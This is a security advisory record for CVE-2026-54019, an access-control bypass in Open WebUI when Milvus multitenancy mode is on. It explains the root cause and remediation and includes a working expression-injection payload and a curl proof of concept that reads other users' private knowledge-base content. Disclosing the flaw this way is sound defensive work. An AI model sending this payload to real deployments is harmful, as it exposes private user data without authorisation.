{"id":"CVE-2026-54019","title":"Open WebUI: RAG ACL Bypass in Milvus Multitenancy Mode","summary":"Open WebUI: RAG ACL Bypass in Milvus Multitenancy Mode","severity":"medium","cvss":6.5,"cwe":["CWE-862","CWE-943"],"vendor":"open-webui","product":"open-webui","ecosystem":"pip","affected":["open-webui <= 0.9.5"],"patched":["open-webui 0.9.6"],"published":"2026-06-17","updated":"2026-06-17","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-p5cp-r7rg-qpxc","references":[{"url":"https://github.com/open-webui/open-webui/security/advisories/GHSA-p5cp-r7rg-qpxc"},{"url":"https://github.com/advisories/GHSA-p5cp-r7rg-qpxc"}],"tags":["ghsa","pip"],"epss":0.00386,"epssPercentile":0.32375,"ingestedAt":"2026-06-29T14:31:47.232Z","slug":"CVE-2026-54019","body":"## Overview\n\n# RAG ACL Bypass in Milvus Multitenancy Mode\n\n## Summary\n\nThis is a bypass of the fix for:\n\n- GHSA-h36f-rqpx-j5wx\n- CVE-2026-44560\n- \"Unauthorized File and Knowledge Base Content Access via RAG Vector Search\"\n\nOpen WebUI added collection-level ACL checks, but the patch can still be bypassed when Milvus multitenancy mode is enabled. The ACL allows unknown non-KB collection names as legacy/ephemeral collections. In Milvus multitenancy mode, that user-controlled collection name becomes a `resource_id` and is interpolated into a Milvus expression without escaping.\n\nAn authenticated non-admin user can query:\n\n```text\nx' or resource_id != '' or resource_id == 'x\n```\n\nThis passes the Open WebUI ACL as an unknown collection, but Milvus evaluates:\n\n```text\nresource_id == 'x' or resource_id != '' or resource_id == 'x'\n```\n\nThat returns private knowledge-base chunks belonging to other users.\n\n## Affected Configuration\n\nTested on:\n\n```text\nOpen WebUI: v0.9.5, commit 3660bc00f\nVECTOR_DB=milvus\nENABLE_MILVUS_MULTITENANCY_MODE=true\n```\n\nThis is **not a default-vector-store issue**. It affects **production deployments using Milvus multitenancy.**\n\n## Impact\n\nAn authenticated low-privilege user can read private RAG / knowledge-base content they do not have access to. No victim interaction is required.\n\n## Root Cause\n\nACL permits unknown collection names:\n\n```python\n# backend/open_webui/retrieval/utils.py\nelif not await Knowledges.get_knowledge_by_id(name):\n    validated.add(name)\n```\n\nMilvus multitenancy then treats the same name as `resource_id` and builds unsafe expressions:\n\n```python\n# backend/open_webui/retrieval/vector/dbs/milvus_multitenancy.py\nexpr=f\"{RESOURCE_ID_FIELD} == '{resource_id}'\"\n```\n\nAffected paths include:\n\n```text\nPOST /api/v1/retrieval/query/collection\nPOST /api/v1/retrieval/query/doc\n```\n\n## PoC\n\nRequest:\n\n```bash\ncurl -s -X POST \"$TARGET/api/v1/retrieval/query/collection\" \\\n  -H \"Authorization: Bearer $ATTACKER_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  --data-binary @- <<'JSON'\n{\n  \"collection_names\": [\n    \"x' or resource_id != '' or resource_id == 'x\"\n  ],\n  \"query\": \"anything\",\n  \"k\": 10,\n  \"hybrid\": false\n}\nJSON\n```\n\nActual result: private chunks from other users' knowledge collections are returned.\n\nExpected result: request should be rejected with 403 or return no unauthorized content.\n\n## Remediation\n\n1. Do not allow arbitrary unknown collection names in user-controlled RAG query endpoints.\n2. Escape or parameterize Milvus expression values before building filters.\n3. Reject collection names containing quotes/control characters unless they match a known internal format.\n4. Add a regression test for this payload in Milvus multitenancy mode:\n\n```text\nx' or resource_id != '' or resource_id == 'x\n```\n\n## Affected packages\n\n- `open-webui <= 0.9.5`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `open-webui 0.9.6`","depth":"sunlit","depthScore":36,"depthScoreParts":{"impact":35.8,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}